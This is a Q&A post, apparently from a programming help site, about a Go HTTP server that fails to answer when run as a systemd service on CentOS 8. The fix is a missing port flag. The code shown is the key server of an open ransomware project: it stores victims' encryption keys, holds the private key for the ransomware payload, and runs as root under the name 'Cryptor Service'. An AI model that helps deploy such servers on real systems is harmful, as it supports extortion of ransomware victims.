Search code examples
gocentossystemd

Program running as systemd service refuses connection


I have a go script that responds to HTTP requests and interacts with some files. When I run it from the command line it works perfectly but when ran as a service through systemd it doesn't respond to requests.

This is running on a CentOS 8 VM.

The script is compiled/built using go build --ldflags "-s -w"

I have disabled SELinux so that's not the problem.

Here is the Go code:

package main

import (
    "flag"
    "fmt"
    "log"

    "io/ioutil"

    "github.com/labstack/echo/engine"
    "github.com/labstack/echo/engine/standard"
    "github.com/labstack/echo/middleware"
    "github.com/mauri870/ransomware/repository"
    "github.com/mauri870/ransomware/web"
)

var (
    // BoltDB database to store the keys
    // Will be create if not exists
    database = "database.db"

    // Private key used to decrypt the ransomware payload
    privateKey = "private.pem"
)

func main() {
    port := flag.Int("port", 8080, "The port to listen on")
    flag.Parse()

    privkey, err := ioutil.ReadFile(privateKey)
    if err != nil {
        log.Fatalln(err)
    }

    db := repository.Open(database)
    defer db.Close()

    e := web.NewEngine()
    e.PrivateKey = privkey
    e.Database = db

    e.GET("/", e.Index)

    e.Use(middleware.Logger())
    e.Use(middleware.Recover())

    api := e.Group("/api", middleware.CORS())
    api.POST("/keys/add", e.AddKeys, e.DecryptPayloadMiddleware)
    api.GET("/keys/:id", e.GetEncryptionKey)

    log.Fatal(e.Run(standard.WithConfig(engine.Config{
        Address: fmt.Sprintf(":%d", *port),
    })))
}

Here is the service:

[Unit]
Description=Cryptor Service
After=network.target

[Service]
Type=simple
User=root
Restart=on-failure
WorkingDirectory=/RanServer
ExecStart=/RanServer/server

[Install]
WantedBy=multi-user.target

Here is the service status:

● cryptor.service - Cryptor Service
   Loaded: loaded (/etc/systemd/system/cryptor.service; enabled; vendor preset: disabled)
   Active: active (running) since Thu 2020-04-30 10:36:19 EDT; 6min ago
 Main PID: 3232 (server)
    Tasks: 6 (limit: 26213)
   Memory: 8.7M
   CGroup: /system.slice/cryptor.service
           └─3232 /RanServer/server

Solution

  • I forgot to add --port 8069 to the ExecStart line of the service.

    After adding that everything started working.